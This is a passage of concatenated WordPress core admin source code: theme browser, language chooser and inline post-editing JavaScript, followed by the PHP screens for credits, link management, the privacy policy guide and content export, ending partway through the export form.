o.InstallerRouter,o.router.on("route:preview",function(e){o.preview&&(o.preview.undelegateEvents(),o.preview.unbind()),t.view.view.theme&&t.view.view.theme.preview?(t.view.view.theme.model=t.view.collection.findWhere({slug:e}),t.view.view.theme.preview()):(i.theme=e,t.view.collection.query(i),t.view.collection.trigger("update"),t.view.collection.once("query:success",function(){n('div[data-slug="'+e+'"]').trigger("click")}))}),o.router.on("route:sort",function(e){e||(e="popular",o.router.navigate(o.router.baseUrl("?browse=popular"),{replace:!0})),t.view.sort(e),o.preview&&o.preview.close()}),o.router.on("route:search",function(){n(".wp-filter-search").trigger("focus").trigger("keyup")}),this.extraRoutes()},extraRoutes:function(){return!1}},n(function(){(o.isInstall?o.RunInstaller:o.Run).init(),n(document.body).on("click",".load-customize",function(){var e=n(this),t=document.createElement("a");t.href=e.prop("href"),t.search=n.param(_.extend(wp.customize.utils.parseQueryString(t.search.substr(1)),{return:window.location.href})),e.prop("href",t.href)}),n(".broken-themes .delete-theme").on("click",function(){return confirm(_wpThemeSettings.settings.confirmDelete)})})}(jQuery),jQuery(function(r){window.tb_position=function(){var e=r("#TB_window"),t=r(window).width(),i=r(window).height(),t=1040<t?1040:t,s=0;r("#wpadminbar").length&&(s=parseInt(r("#wpadminbar").css("height"),10)),1<=e.length&&(e.width(t-50).height(i-45-s),r("#TB_iframeContent").width(t-50).height(i-75-s),e.css({"margin-left":"-"+parseInt((t-50)/2,10)+"px"}),void 0!==document.body.style.maxWidth)&&e.css({top:20+s+"px","margin-top":"0"})},r(window).on("resize",function(){tb_position()})});/**
 * @output wp-admin/js/language-chooser.js
 */

jQuery( function($) {
/*
 * Set the correct translation to the continue button and show a spinner
 * when downloading a language.
 */
var select = $( '#language' ),
	submit = $( '#language-continue' );

if ( ! $( 'body' ).hasClass( 'language-chooser' ) ) {
	return;
}

select.trigger( 'focus' ).on( 'change', function() {
	/*
	 * When a language is selected, set matching translation to continue button
	 * and attach the language attribute.
	 */
	var option = select.children( 'option:selected' );
	submit.attr({
		value: option.data( 'continue' ),
		lang: option.attr( 'lang' )
	});
});

$( 'form' ).on( 'submit', function() {
	// Show spinner for languages that need to be downloaded.
	if ( ! select.children( 'option:selected' ).data( 'installed' ) ) {
		$( this ).find( '.step .spinner' ).css( 'visibility', 'visible' );
	}
});

});
/*! This file is auto-generated */
window.wp=window.wp||{},function(u,h){window.inlineEditPost={init:function(){var i=this,t=u("#inline-edit"),e=u("#bulk-edit");i.type=u("table.widefat").hasClass("pages")?"page":"post",i.what="#post-",t.on("keyup",function(t){if(27===t.which)return inlineEditPost.revert()}),e.on("keyup",function(t){if(27===t.which)return inlineEditPost.revert()}),u(".cancel",t).on("click",function(){return inlineEditPost.revert()}),u(".save",t).on("click",function(){return inlineEditPost.save(this)}),u("td",t).on("keydown",function(t){if(13===t.which&&!u(t.target).hasClass("cancel"))return inlineEditPost.save(this)}),u(".cancel",e).on("click",function(){return inlineEditPost.revert()}),u('#inline-edit .inline-edit-private input[value="private"]').on("click",function(){var t=u("input.inline-edit-password-input");u(this).prop("checked")?t.val("").prop("disabled",!0):t.prop("disabled",!1)}),u("#the-list").on("click",".editinline",function(){u(this).attr("aria-expanded","true"),inlineEditPost.edit(this)}),u("#bulk-edit").find("fieldset:first").after(u("#inline-edit fieldset.inline-edit-categories").clone()).siblings("fieldset:last").prepend(u("#inline-edit .inline-edit-tags-wrap").clone()),u('select[name="_status"] option[value="future"]',e).remove(),u("#doaction").on("click",function(t){var e;i.whichBulkButtonId=u(this).attr("id"),e=i.whichBulkButtonId.substr(2),"edit"===u('select[name="'+e+'"]').val()?(t.preventDefault(),i.setBulk()):0<u("form#posts-filter tr.inline-editor").length&&i.revert()})},toggle:function(t){var e=this;"none"===u(e.what+e.getId(t)).css("display")?e.revert():e.edit(t)},setBulk:function(){var n="",t=this.type,a=!0,e=u('tbody th.check-column input[type="checkbox"]:checked'),i={};if(this.revert(),u("#bulk-edit td").attr("colspan",u("th:visible, td:visible",".widefat:first thead").length),u("table.widefat tbody").prepend(u("#bulk-edit")).prepend('<tr class="hidden"></tr>'),u("#bulk-edit").addClass("inline-editor").show(),u('tbody th.check-column input[type="checkbox"]').each(function(){var t,e,i;u(this).prop("checked")&&(a=!1,t=u(this).val(),e=u("#inline_"+t+" .post_title").html()||h.i18n.__("(no title)"),i=h.i18n.sprintf(h.i18n.__("Remove &#8220;%s&#8221; from Bulk Edit"),e),n+='<li class="ntdelitem"><button type="button" id="_'+t+'" class="button-link ntdelbutton"><span class="screen-reader-text">'+i+'</span></button><span class="ntdeltitle" aria-hidden="true">'+e+"</span></li>")}),a)return this.revert();u("#bulk-titles").html('<ul id="bulk-titles-list" role="list">'+n+"</ul>"),e.each(function(){var t=u(this).val();u("#category_"+t).text().split(",").map(function(t){i[t]||(i[t]=0),i[t]++})}),u('.inline-edit-categories input[name="post_category[]"]').each(function(){var t;i[u(this).val()]==e.length?u(this).prop("checked",!0):0<i[u(this).val()]&&(u(this).prop("indeterminate",!0),u(this).parent().find('input[name="indeterminate_post_category[]"]').length||(t=u(this).parent().text(),u(this).after('<input type="hidden" name="indeterminate_post_category[]" value="'+u(this).val()+'">').attr("aria-label",t.trim()+": "+h.i18n.__("Some selected posts have this category"))))}),u('.inline-edit-categories input[name="post_category[]"]:indeterminate').on("change",function(){u(this).removeAttr("aria-label").parent().find('input[name="indeterminate_post_category[]"]').remove()}),u(".inline-edit-save button").on("click",function(){u('.inline-edit-categories input[name="post_category[]"]').prop("indeterminate",!1)}),u("#bulk-titles .ntdelbutton").click(function(){var t=u(this),e=t.attr("id").substr(1),i=t.parent().prev().children(".ntdelbutton"),t=t.parent().next().children(".ntdelbutton");u("input#cb-select-all-1, input#cb-select-all-2").prop("checked",!1),u('table.widefat input[value="'+e+'"]').prop("checked",!1),u("#_"+e).parent().remove(),h.a11y.speak(h.i18n.__("Item removed."),"assertive"),t.length?t.focus():i.length?i.focus():(u("#bulk-titles-list").remove(),inlineEditPost.revert(),h.a11y.speak(h.i18n.__("All selected items have been removed. Select new items to use Bulk Actions.")))}),"post"===t&&u("tr.inline-editor textarea[data-wp-taxonomy]").each(function(t,e){u(e).autocomplete("instance")||u(e).wpTagsSuggest()}),u("#bulk-edit .inline-edit-wrapper").attr("tabindex","-1").focus(),u("html, body").animate({scrollTop:0},"fast")},edit:function(n){var t,a,e,i,s,r,o,l,d=this,p=!0;for(d.revert(),"object"==typeof n&&(n=d.getId(n)),t=["post_title","post_name","post_author","_status","jj","mm","aa","hh","mn","ss","post_password","post_format","menu_order","page_template"],"page"===d.type&&t.push("post_parent"),a=u("#inline-edit").clone(!0),u("td",a).attr("colspan",u("th:visible, td:visible",".widefat:first thead").length),u("td",a).find("#quick-edit-legend").removeAttr("id"),u("td",a).find('p[id^="quick-edit-"]').removeAttr("id"),u(d.what+n).removeClass("is-expanded").hide().after(a).after('<tr class="hidden"></tr>'),e=u("#inline_"+n),u(':input[name="post_author"] option[value="'+u(".post_author",e).text()+'"]',a).val()||u(':input[name="post_author"]',a).prepend('<option value="'+u(".post_author",e).text()+'">'+u("#post-"+n+" .author").text()+"</option>"),1===u(':input[name="post_author"] option',a).length&&u("label.inline-edit-author",a).hide(),o=0;o<t.length;o++)(l=u("."+t[o],e)).find("img").replaceWith(function(){return this.alt}),l=l.text(),u(':input[name="'+t[o]+'"]',a).val(l);"open"===u(".comment_status",e).text()&&u('input[name="comment_status"]',a).prop("checked",!0),"open"===u(".ping_status",e).text()&&u('input[name="ping_status"]',a).prop("checked",!0),"sticky"===u(".sticky",e).text()&&u('input[name="sticky"]',a).prop("checked",!0),u(".post_category",e).each(function(){var t,e=u(this).text();e&&(t=u(this).attr("id").replace("_"+n,""),u("ul."+t+"-checklist :checkbox",a).val(e.split(",")))}),u(".tags_input",e).each(function(){var t=u(this),e=u(this).attr("id").replace("_"+n,""),e=u("textarea.tax_input_"+e,a),i=h.i18n._x(",","tag delimiter").trim();e.length&&(t.find("img").replaceWith(function(){return this.alt}),(t=t.text())&&(","!==i&&(t=t.replace(/,/g,i)),e.val(t)),e.wpTagsSuggest())});var c,d=u(':input[name="aa"]').val()+"-"+u(':input[name="mm"]').val()+"-"+u(':input[name="jj"]').val(),d=(d+=" "+u(':input[name="hh"]').val()+":"+u(':input[name="mn"]').val()+":"+u(':input[name="ss"]').val(),new Date(d));if(("future"!==(c=u("._status",e).text())&&Date.now()>d?u('select[name="_status"] option[value="future"]',a):u('select[name="_status"] option[value="publish"]',a)).remove(),d=u(".inline-edit-password-input").prop("disabled",!1),"private"===c&&(u('input[name="keep_private"]',a).prop("checked",!0),d.val("").prop("disabled",!0)),0<(i=u('select[name="post_parent"] option[value="'+n+'"]',a)).length){for(s=i[0].className.split("-")[1],r=i;p&&0!==(r=r.next("option")).length;)r[0].className.split("-")[1]<=s?p=!1:(r.remove(),r=i);i.remove()}return u(a).attr("id","edit-"+n).addClass("inline-editor").show(),u(".ptitle",a).trigger("focus"),!1},save:function(n){var t=u(".post_status_page").val()||"";return"object"==typeof n&&(n=this.getId(n)),u("table.widefat .spinner").addClass("is-active"),t={action:"inline-save",post_type:typenow,post_ID:n,edit_date:"true",post_status:t},t=u("#edit-"+n).find(":input").serialize()+"&"+u.param(t),u.post(ajaxurl,t,function(t){var e=u("#edit-"+n+" .inline-edit-save .notice-error"),i=e.find(".error");u("table.widefat .spinner").removeClass("is-active"),t?-1!==t.indexOf("<tr")?(u(inlineEditPost.what+n).siblings("tr.hidden").addBack().remove(),u("#edit-"+n).before(t).remove(),u(inlineEditPost.what+n).hide().fadeIn(400,function(){u(this).find(".editinline").attr("aria-expanded","false").trigger("focus"),h.a11y.speak(h.i18n.__("Changes saved."))})):(t=t.replace(/<.[^<>]*?>/g,""),e.removeClass("hidden"),i.html(t),h.a11y.speak(i.text())):(e.removeClass("hidden"),i.text(h.i18n.__("Error while saving the changes.")),h.a11y.speak(h.i18n.__("Error while saving the changes.")))},"html"),!1},revert:function(){var t=u(".widefat"),e=u(".inline-editor",t).attr("id");return e&&(u(".spinner",t).removeClass("is-active"),("bulk-edit"===e?(u("#bulk-edit",t).removeClass("inline-editor").hide().siblings(".hidden").remove(),u("#bulk-titles").empty(),u("#inlineedit").append(u("#bulk-edit")),u("#"+inlineEditPost.whichBulkButtonId)):(u("#"+e).siblings("tr.hidden").addBack().remove(),e=e.substr(e.lastIndexOf("-")+1),u(this.what+e).show().find(".editinline").attr("aria-expanded","false"))).trigger("focus")),!1},getId:function(t){t=u(t).closest("tr").attr("id").split("-");return t[t.length-1]}},u(function(){inlineEditPost.init()}),u(function(){void 0!==h&&h.heartbeat&&h.heartbeat.interval(15)}).on("heartbeat-tick.wp-check-locked-posts",function(t,e){var n=e["wp-check-locked-posts"]||{};u("#the-list tr").each(function(t,e){var i=e.id,e=u(e);n.hasOwnProperty(i)?e.hasClass("wp-locked")||(i=n[i],e.find(".column-title .locked-text").text(i.text),e.find(".check-column checkbox").prop("checked",!1),i.avatar_src&&(i=u("<img />",{class:"avatar avatar-18 photo",width:18,height:18,alt:"",src:i.avatar_src,srcset:i.avatar_src_2x?i.avatar_src_2x+" 2x":void 0}),e.find(".column-title .locked-avatar").empty().append(i)),e.addClass("wp-locked")):e.hasClass("wp-locked")&&e.removeClass("wp-locked").find(".locked-info span").empty()})}).on("heartbeat-send.wp-check-locked-posts",function(t,e){var i=[];u("#the-list tr").each(function(t,e){e.id&&i.push(e.id)}),i.length&&(e["wp-check-locked-posts"]=i)})}(jQuery,window.wp);<?php
/**
 * Credits administration panel.
 *
 * @package WordPress
 * @subpackage Administration
 */

/** WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';
require_once __DIR__ . '/includes/credits.php';

// Used in the HTML title tag.
$title = __( 'Credits' );

list( $display_version ) = explode( '-', get_bloginfo( 'version' ) );

require_once ABSPATH . 'wp-admin/admin-header.php';

$credits = wp_credits();
?>
<div class="wrap about__container">

	<div class="about__header">
		<div class="about__header-title">
			<h1>
				<?php _e( 'Contributors' ); ?>
			</h1>
		</div>

		<div class="about__header-text">
			<?php _e( 'Created by a worldwide team of passionate individuals' ); ?>
		</div>
	</div>

	<nav class="about__header-navigation nav-tab-wrapper wp-clearfix" aria-label="<?php esc_attr_e( 'Secondary menu' ); ?>">
		<a href="about.php" class="nav-tab"><?php _e( 'What&#8217;s New' ); ?></a>
		<a href="credits.php" class="nav-tab nav-tab-active" aria-current="page"><?php _e( 'Credits' ); ?></a>
		<a href="freedoms.php" class="nav-tab"><?php _e( 'Freedoms' ); ?></a>
		<a href="privacy.php" class="nav-tab"><?php _e( 'Privacy' ); ?></a>
		<a href="contribute.php" class="nav-tab"><?php _e( 'Get Involved' ); ?></a>
	</nav>

	<div class="about__section has-1-column has-gutters">
		<div class="column aligncenter">
			<?php if ( ! $credits ) : ?>

			<p>
				<?php
				printf(
					/* translators: 1: https://wordpress.org/about/ */
					__( 'WordPress is created by a <a href="%1$s">worldwide team</a> of passionate individuals.' ),
					__( 'https://wordpress.org/about/' )
				);
				?>
				<br />
				<a href="<?php echo esc_url( __( 'https://make.wordpress.org/contribute/' ) ); ?>"><?php _e( 'Get involved in WordPress.' ); ?></a>
			</p>

			<?php else : ?>

			<p>
				<?php _e( 'Want to see your name in lights on this page?' ); ?>
				<br />
				<a href="<?php echo esc_url( __( 'https://make.wordpress.org/contribute/' ) ); ?>"><?php _e( 'Get involved in WordPress.' ); ?></a>
			</p>

			<?php endif; ?>
		</div>
	</div>

<?php
if ( ! $credits ) {
	echo '</div>';
	require_once ABSPATH . 'wp-admin/admin-footer.php';
	exit;
}
?>

	<hr class="is-large" />

	<div class="about__section">
		<div class="column is-edge-to-edge">
			<?php wp_credits_section_title( $credits['groups']['core-developers'] ); ?>
			<?php wp_credits_section_list( $credits, 'core-developers' ); ?>
			<?php wp_credits_section_list( $credits, 'contributing-developers' ); ?>
		</div>
	</div>

	<hr />

	<div class="about__section">
		<div class="column">
			<?php wp_credits_section_title( $credits['groups']['props'] ); ?>
			<?php wp_credits_section_list( $credits, 'props' ); ?>
		</div>
	</div>

	<hr />

	<?php if ( isset( $credits['groups']['translators'] ) || isset( $credits['groups']['validators'] ) ) : ?>
	<div class="about__section">
		<div class="column">
			<?php wp_credits_section_title( $credits['groups']['validators'] ); ?>
			<?php wp_credits_section_list( $credits, 'validators' ); ?>
			<?php wp_credits_section_list( $credits, 'translators' ); ?>
		</div>
	</div>

	<hr />
	<?php endif; ?>

	<div class="about__section">
		<div class="column">
			<?php wp_credits_section_title( $credits['groups']['libraries'] ); ?>
			<?php wp_credits_section_list( $credits, 'libraries' ); ?>
		</div>
	</div>
</div>
<?php

require_once ABSPATH . 'wp-admin/admin-footer.php';

return;

// These are strings returned by the API that we want to be translatable.
__( 'Project Leaders' );
/* translators: %s: The current WordPress version number. */
__( 'Core Contributors to WordPress %s' );
__( 'Noteworthy Contributors' );
__( 'Cofounder, Project Lead' );
__( 'Lead Developer' );
__( 'Release Lead' );
__( 'Release Design Lead' );
__( 'Release Deputy' );
__( 'Core Developer' );
__( 'External Libraries' );
<?php
/**
 * Link Management Administration Screen.
 *
 * @package WordPress
 * @subpackage Administration
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';
if ( ! current_user_can( 'manage_links' ) ) {
	wp_die( __( 'Sorry, you are not allowed to edit the links for this site.' ) );
}

$wp_list_table = _get_list_table( 'WP_Links_List_Table' );

// Handle bulk deletes.
$doaction = $wp_list_table->current_action();

if ( $doaction && isset( $_REQUEST['linkcheck'] ) ) {
	check_admin_referer( 'bulk-bookmarks' );

	$redirect_to = admin_url( 'link-manager.php' );
	$bulklinks   = (array) $_REQUEST['linkcheck'];

	if ( 'delete' === $doaction ) {
		foreach ( $bulklinks as $link_id ) {
			$link_id = (int) $link_id;

			wp_delete_link( $link_id );
		}

		$redirect_to = add_query_arg( 'deleted', count( $bulklinks ), $redirect_to );
	} else {
		$screen = get_current_screen()->id;

		/** This action is documented in wp-admin/edit.php */
		$redirect_to = apply_filters( "handle_bulk_actions-{$screen}", $redirect_to, $doaction, $bulklinks ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores
	}
	wp_redirect( $redirect_to );
	exit;
} elseif ( ! empty( $_GET['_wp_http_referer'] ) ) {
	wp_redirect( remove_query_arg( array( '_wp_http_referer', '_wpnonce' ), wp_unslash( $_SERVER['REQUEST_URI'] ) ) );
	exit;
}

$wp_list_table->prepare_items();

// Used in the HTML title tag.
$title       = __( 'Links' );
$this_file   = 'link-manager.php';
$parent_file = $this_file;

get_current_screen()->add_help_tab(
	array(
		'id'      => 'overview',
		'title'   => __( 'Overview' ),
		'content' =>
			'<p>' . sprintf(
				/* translators: %s: URL to Widgets screen. */
				__( 'You can add links here to be displayed on your site, usually using <a href="%s">Widgets</a>. By default, links to several sites in the WordPress community are included as examples.' ),
				'widgets.php'
			) . '</p>' .
			'<p>' . __( 'Links may be separated into Link Categories; these are different than the categories used on your posts.' ) . '</p>' .
			'<p>' . __( 'You can customize the display of this screen using the Screen Options tab and/or the dropdown filters above the links table.' ) . '</p>',
	)
);
get_current_screen()->add_help_tab(
	array(
		'id'      => 'deleting-links',
		'title'   => __( 'Deleting Links' ),
		'content' =>
			'<p>' . __( 'If you delete a link, it will be removed permanently, as Links do not have a Trash function yet.' ) . '</p>',
	)
);

get_current_screen()->set_help_sidebar(
	'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
	'<p>' . __( '<a href="https://codex.wordpress.org/Links_Screen">Documentation on Managing Links</a>' ) . '</p>' .
	'<p>' . __( '<a href="https://wordpress.org/support/forums/">Support forums</a>' ) . '</p>'
);

get_current_screen()->set_screen_reader_content(
	array(
		'heading_list' => __( 'Links list' ),
	)
);

require_once ABSPATH . 'wp-admin/admin-header.php';

if ( ! current_user_can( 'manage_links' ) ) {
	wp_die( __( 'Sorry, you are not allowed to edit the links for this site.' ) );
}

?>

<div class="wrap nosubsub">
<h1 class="wp-heading-inline">
<?php
echo esc_html( $title );
?>
</h1>

<a href="link-add.php" class="page-title-action"><?php echo esc_html__( 'Add New Link' ); ?></a>

<?php
if ( isset( $_REQUEST['s'] ) && strlen( $_REQUEST['s'] ) ) {
	echo '<span class="subtitle">';
	printf(
		/* translators: %s: Search query. */
		__( 'Search results for: %s' ),
		'<strong>' . esc_html( wp_unslash( $_REQUEST['s'] ) ) . '</strong>'
	);
	echo '</span>';
}
?>

<hr class="wp-header-end">

<?php
if ( isset( $_REQUEST['deleted'] ) ) {
	$deleted = (int) $_REQUEST['deleted'];
	/* translators: %s: Number of links. */
	$deleted_message = sprintf( _n( '%s link deleted.', '%s links deleted.', $deleted ), $deleted );
	wp_admin_notice(
		$deleted_message,
		array(
			'id'                 => 'message',
			'additional_classes' => array( 'updated' ),
			'dismissible'        => true,
		)
	);
	$_SERVER['REQUEST_URI'] = remove_query_arg( array( 'deleted' ), $_SERVER['REQUEST_URI'] );
}
?>

<form id="posts-filter" method="get">

<?php $wp_list_table->search_box( __( 'Search Links' ), 'link' ); ?>

<?php $wp_list_table->display(); ?>

<div id="ajax-response"></div>
</form>

</div>

<?php
require_once ABSPATH . 'wp-admin/admin-footer.php';
<?php
/**
 * Privacy Policy Guide Screen.
 *
 * @package WordPress
 * @subpackage Administration
 */

/** WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

if ( ! current_user_can( 'manage_privacy_options' ) ) {
	wp_die( __( 'Sorry, you are not allowed to manage privacy options on this site.' ) );
}

if ( ! class_exists( 'WP_Privacy_Policy_Content' ) ) {
	require_once ABSPATH . 'wp-admin/includes/class-wp-privacy-policy-content.php';
}

// Used in the HTML title tag.
$title = __( 'Privacy Policy Guide' );

add_filter(
	'admin_body_class',
	static function ( $body_class ) {
		$body_class .= ' privacy-settings ';

		return $body_class;
	}
);

wp_enqueue_script( 'privacy-tools' );

require_once ABSPATH . 'wp-admin/admin-header.php';

?>
<div class="privacy-settings-header">
	<div class="privacy-settings-title-section">
		<h1>
			<?php _e( 'Privacy' ); ?>
		</h1>
	</div>

	<nav class="privacy-settings-tabs-wrapper hide-if-no-js" aria-label="<?php esc_attr_e( 'Secondary menu' ); ?>">
		<a href="<?php echo esc_url( admin_url( 'options-privacy.php' ) ); ?>" class="privacy-settings-tab">
			<?php
			/* translators: Tab heading for Site Health Status page. */
			_ex( 'Settings', 'Privacy Settings' );
			?>
		</a>

		<a href="<?php echo esc_url( admin_url( 'options-privacy.php?tab=policyguide' ) ); ?>" class="privacy-settings-tab active" aria-current="true">
			<?php
			/* translators: Tab heading for Site Health Status page. */
			_ex( 'Policy Guide', 'Privacy Settings' );
			?>
		</a>
	</nav>
</div>

<hr class="wp-header-end">

<?php
wp_admin_notice(
	__( 'The Privacy Settings require JavaScript.' ),
	array(
		'type'               => 'error',
		'additional_classes' => array( 'hide-if-js' ),
	)
);
?>

<div class="privacy-settings-body hide-if-no-js">
	<h2><?php _e( 'Privacy Policy Guide' ); ?></h2>
	<h3 class="section-title"><?php _e( 'Introduction' ); ?></h3>
	<p><?php _e( 'This text template will help you to create your website&#8217;s privacy policy.' ); ?></p>
	<p><?php _e( 'The template contains a suggestion of sections you most likely will need. Under each section heading, you will find a short summary of what information you should provide, which will help you to get started. Some sections include suggested policy content, others will have to be completed with information from your theme and plugins.' ); ?></p>
	<p><?php _e( 'Please edit your privacy policy content, making sure to delete the summaries, and adding any information from your theme and plugins. Once you publish your policy page, remember to add it to your navigation menu.' ); ?></p>
	<p><?php _e( 'It is your responsibility to write a comprehensive privacy policy, to make sure it reflects all national and international legal requirements on privacy, and to keep your policy current and accurate.' ); ?></p>
	<div class="privacy-settings-accordion">
		<h4 class="privacy-settings-accordion-heading">
			<button aria-expanded="false" class="privacy-settings-accordion-trigger" aria-controls="privacy-settings-accordion-block-privacy-policy-guide" type="button">
				<span class="title"><?php _e( 'Privacy Policy Guide' ); ?></span>
				<span class="icon"></span>
			</button>
		</h4>
		<div id="privacy-settings-accordion-block-privacy-policy-guide" class="privacy-settings-accordion-panel" hidden="hidden">
			<?php
			$content = WP_Privacy_Policy_Content::get_default_content( true, false );
			echo $content;
			?>
		</div>
	</div>
	<hr class="hr-separator">
	<h3 class="section-title"><?php _e( 'Policies' ); ?></h3>
	<div class="privacy-settings-accordion wp-privacy-policy-guide">
		<?php WP_Privacy_Policy_Content::privacy_policy_guide(); ?>
	</div>
</div>
<?php

require_once ABSPATH . 'wp-admin/admin-footer.php';
<?php
/**
 * WordPress Export Administration Screen
 *
 * @package WordPress
 * @subpackage Administration
 */

/** Load WordPress Bootstrap */
require_once __DIR__ . '/admin.php';

if ( ! current_user_can( 'export' ) ) {
	wp_die( __( 'Sorry, you are not allowed to export the content of this site.' ) );
}

/** Load WordPress export API */
require_once ABSPATH . 'wp-admin/includes/export.php';

// Used in the HTML title tag.
$title = __( 'Export' );

/**
 * Display JavaScript on the page.
 *
 * @since 3.5.0
 */
function export_add_js() {
	?>
<script type="text/javascript">
	jQuery( function($) {
		var form = $('#export-filters'),
			filters = form.find('.export-filters');
		filters.hide();
		form.find('input:radio').on( 'change', function() {
			filters.slideUp('fast');
			switch ( $(this).val() ) {
				case 'attachment': $('#attachment-filters').slideDown(); break;
				case 'posts': $('#post-filters').slideDown(); break;
				case 'pages': $('#page-filters').slideDown(); break;
			}
		});
	} );
</script>
	<?php
}
add_action( 'admin_head', 'export_add_js' );

get_current_screen()->add_help_tab(
	array(
		'id'      => 'overview',
		'title'   => __( 'Overview' ),
		'content' => '<p>' . __( 'You can export a file of your site&#8217;s content in order to import it into another installation or platform. The export file will be an XML file format called WXR. Posts, pages, comments, custom fields, categories, and tags can be included. You can choose for the WXR file to include only certain posts or pages by setting the dropdown filters to limit the export by category, author, date range by month, or publishing status.' ) . '</p>' .
			'<p>' . __( 'Once generated, your WXR file can be imported by another WordPress site or by another blogging platform able to access this format.' ) . '</p>',
	)
);

get_current_screen()->set_help_sidebar(
	'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
	'<p>' . __( '<a href="https://wordpress.org/documentation/article/tools-export-screen/">Documentation on Export</a>' ) . '</p>' .
	'<p>' . __( '<a href="https://wordpress.org/support/forums/">Support forums</a>' ) . '</p>'
);

// If the 'download' URL parameter is set, a WXR export file is baked and returned.
if ( isset( $_GET['download'] ) ) {
	$args = array();

	if ( ! isset( $_GET['content'] ) || 'all' === $_GET['content'] ) {
		$args['content'] = 'all';
	} elseif ( 'posts' === $_GET['content'] ) {
		$args['content'] = 'post';

		if ( $_GET['cat'] ) {
			$args['category'] = (int) $_GET['cat'];
		}

		if ( $_GET['post_author'] ) {
			$args['author'] = (int) $_GET['post_author'];
		}

		if ( $_GET['post_start_date'] || $_GET['post_end_date'] ) {
			$args['start_date'] = $_GET['post_start_date'];
			$args['end_date']   = $_GET['post_end_date'];
		}

		if ( $_GET['post_status'] ) {
			$args['status'] = $_GET['post_status'];
		}
	} elseif ( 'pages' === $_GET['content'] ) {
		$args['content'] = 'page';

		if ( $_GET['page_author'] ) {
			$args['author'] = (int) $_GET['page_author'];
		}

		if ( $_GET['page_start_date'] || $_GET['page_end_date'] ) {
			$args['start_date'] = $_GET['page_start_date'];
			$args['end_date']   = $_GET['page_end_date'];
		}

		if ( $_GET['page_status'] ) {
			$args['status'] = $_GET['page_status'];
		}
	} elseif ( 'attachment' === $_GET['content'] ) {
		$args['content'] = 'attachment';

		if ( $_GET['attachment_start_date'] || $_GET['attachment_end_date'] ) {
			$args['start_date'] = $_GET['attachment_start_date'];
			$args['end_date']   = $_GET['attachment_end_date'];
		}
	} else {
		$args['content'] = $_GET['content'];
	}

	/**
	 * Filters the export args.
	 *
	 * @since 3.5.0
	 *
	 * @param array $args The arguments to send to the exporter.
	 */
	$args = apply_filters( 'export_args', $args );

	export_wp( $args );
	die();
}

require_once ABSPATH . 'wp-admin/admin-header.php';

/**
 * Creates the date options fields for exporting a given post type.
 *
 * @global wpdb      $wpdb      WordPress database abstraction object.
 * @global WP_Locale $wp_locale WordPress date and time locale object.
 *
 * @since 3.1.0
 *
 * @param string $post_type The post type. Default 'post'.
 */
function export_date_options( $post_type = 'post' ) {
	global $wpdb, $wp_locale;

	$months = $wpdb->get_results(
		$wpdb->prepare(
			"SELECT DISTINCT YEAR( post_date ) AS year, MONTH( post_date ) AS month
			FROM $wpdb->posts
			WHERE post_type = %s AND post_status != 'auto-draft'
			ORDER BY post_date DESC",
			$post_type
		)
	);

	$month_count = count( $months );
	if ( ! $month_count || ( 1 === $month_count && 0 === (int) $months[0]->month ) ) {
		return;
	}

	foreach ( $months as $date ) {
		if ( 0 === (int) $date->year ) {
			continue;
		}

		$month = zeroise( $date->month, 2 );

		printf(
			'<option value="%1$s">%2$s</option>',
			esc_attr( $date->year . '-' . $month ),
			$wp_locale->get_month( $month ) . ' ' . $date->year
		);
	}
}
?>

<div class="wrap">
<h1><?php echo esc_html( $title ); ?></h1>

<p><?php _e( 'When you click the button below WordPress will create an XML file for you to save to your computer.' ); ?></p>
<p><?php _e( 'This format, which is called WordPress eXtended RSS or WXR, will contain your posts, pages, comments, custom fields, categories, and tags.' ); ?></p>
<p><?php _e( 'Once you&#8217;ve saved the download file, you can use the Import function in another WordPress installation to import the content from this site.' ); ?></p>

<h2><?php _e( 'Choose what to export' ); ?></h2>
<form method="get" id="export-filters">
<fieldset>
<legend class="screen-reader-text">
	<?php
	/* translators: Hidden accessibility text. */
	_e( 'Content to export' );
	?>
</legend>
<input type="hidden" name="download" value="true" />
<p><label><input type="radio" name="content" value="all" checked="checked" aria-describedby="all-content-desc" /> <?php _e( 'All content' ); ?></label></p>
<p class="description" id="all-content-desc"><?php _e( 'This will contain all of your posts, pages, comments, custom fields, terms, navigation menus, and custom posts.' ); ?></p>

<p><label><input type="radio" name="content" value="posts" /> <?php _ex( 'Posts', 'post type general name' ); ?></label></p>
<ul id="post-filters" class="export-filters">
	<li>
		<label><span class="label-responsive"><?php _e( 'Categories:' ); ?></span>
		<?php wp_dropdown_categories( array( 'show_option_all' => __( 'All' ) ) ); ?>
		</label>
	</li>
	<li>
		<label><span class="label-responsive"><?php _e( 'Authors:' ); ?></span>
		<?php
		$authors = $wpdb->get_col( "SELECT DISTINCT post_author FROM {$wpdb->posts} WHERE post_type = 'post'" );
		wp_dropdown_users(
			array(
				'include'         => $authors,
				'name'            => 'post_author',
				'multi'           => true,
				'show_option_all' => __( 'All' ),
				'show'            => 'display_name_with_login',
			)
		);
		?>
		</label>
	</li>
	<li>
		<fieldset>
		<legend class="screen-reader-text">
			<?php
			/* translators: Hidden accessibility text. */
			_e( 'Date range:' )
			?>
		</legend>
		<label for="post-start-date" class="label-responsive"><?php _e( 'Start date:' ); ?></label>
		<select name="post_start_date" id="post-start-date">
			<option value="0"><?php _e( '&mdash; Select &mdash;' ); ?></option>
			<?php export_date_options(); ?>
		</select>
		<label for="post-end-date" class="label-responsive"><?php _e( 'End date:' ); ?></label>
		<select name="post_end_date" id="post-end-date">
			<option value="0"><?php _e( '&mdash; Select &mdash;' ); ?></option>
			<?php export_date_options(); ?>
		</select>
		</fieldset>
	</li>
	<li>
		<label for="post-status" class="label-responsive"><?php _e( 'Status:' ); ?></label>
		<select name="post_status" id="post-status">
			<option value="0"><?php _e( 'All' ); ?></option>
			<?php
			$post_stati = get_post_stati( array( 'internal' => false ), 'objects' );
			foreach ( $post_stati as $status ) :
				?>
			<option value="<?php echo esc_attr( $status->name ); ?>"><?php echo esc_html( $status->label ); ?></option>
			<?php endforeach; ?>
		</select>
	</li>
</ul>

<p><label><input type="radio" name="content" value="pages" /> <?php _e( 'Pages' ); ?></label></p>
<ul id="page-filters" class="export-filters">
	<li>
		<label><span class="label-responsive"><?php _e( 'Authors:' ); ?></span>
		<?php
